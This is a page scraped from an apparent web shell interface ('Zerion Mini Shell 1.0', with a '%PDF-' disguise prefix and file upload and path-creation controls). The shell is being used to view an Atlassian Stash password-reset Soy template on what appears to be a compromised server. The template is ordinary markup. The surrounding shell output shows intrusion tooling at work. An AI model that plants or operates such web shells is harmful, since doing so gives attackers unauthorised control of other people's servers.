%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/atlassian-stash/static/page/users/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/atlassian-stash/static/page/users/passwordreset.soy

{namespace stash.users}

/**
* @param canSendEmail
* @param userNotFound
* @param userNotEditable
* @param formErrors actually system errors (e.g. the SMTP server is down)
*/
{template .passwordReset}
{webResourceManager_requireResourcesForContext('stash.page.resetUserPassword')}
    {call stash.layout.focused}
        {param windowTitle: getText('stash.web.reset.password.title') /}
        {param contentTitle: getText('stash.web.reset.password.header') /}
        {param bodyClass: 'reset-password'/}
        {param focusedPageSize: 'small'/}
        {param content}
            {if not $canSendEmail}
                {call widget.aui.message.error}
                    {{param content: getText('stash.users.nomailconfig') /}}
                    {param extraClasses: 'no-mail-config'/}
                {/call}
            {else}
                {if $userNotFound}
                    {call widget.aui.message.error}
                        {{param content: getText('stash.users.notFound') /}}
                        {param extraClasses: 'no-user-found'/}
                    {/call}
                {elseif $userNotEditable}
                    {call widget.aui.message.warning}
                        {{param content: getText('stash.users.notEditable') /}}
                    {/call}
                {/if}
                {call widget.aui.form.form}
                    {param action: '' /}
                    {param errors: $formErrors /}
                    {param topLabels: true /}
                    {param content}
                        {call widget.aui.form.text}
                            {param id: 'identifier' /}
                            {param autofocus: true /}
                            {param required: true /}
                            {param sizeClass: 'long' /}
                            {param labelContent: getText('stash.web.login.reset.username.html') /}
                        {/call}
                        {call widget.aui.form.buttons}
                            {param content}
                                {call widget.aui.form.submit}
                                    {param id: 'submit' /}
                                    {param isPrimary: true /}
                                    {param label: getText('stash.web.login.reset.submit') /}
                                {/call}
                                {call widget.aui.form.cancelButton}
                                    {param href: nav_login() /}
                                {/call}
                            {/param}
                        {/call}
                    {/param}
                {/call}
            {/if}
        {/param}
    {/call}
{/template}

/**
 */
{template .passwordResetReceived}
{webResourceManager_requireResourcesForContext('stash.page.resetUserPassword')}
    {call stash.layout.focused}
        {param windowTitle: getText('stash.web.reset.password.ack.title') /}
        {param contentTitle: getText('stash.web.reset.password.ack.header') /}
        {param bodyClass: 'reset-password'/}
        {param focusedPageSize: 'medium' /}
        {param content}
            {call widget.aui.message.success}
                {param content: getText('stash.users.password.reset.ack.details') /}
                {param extraClasses: 'reset-email-sent'/}
            {/call}
            <p><a href="{nav_login()}">{{getText('stash.web.reset.password.success.link', $ij.instanceName) }}</a></p>
        {/param}
    {/call}
{/template}

Zerion Mini Shell 1.0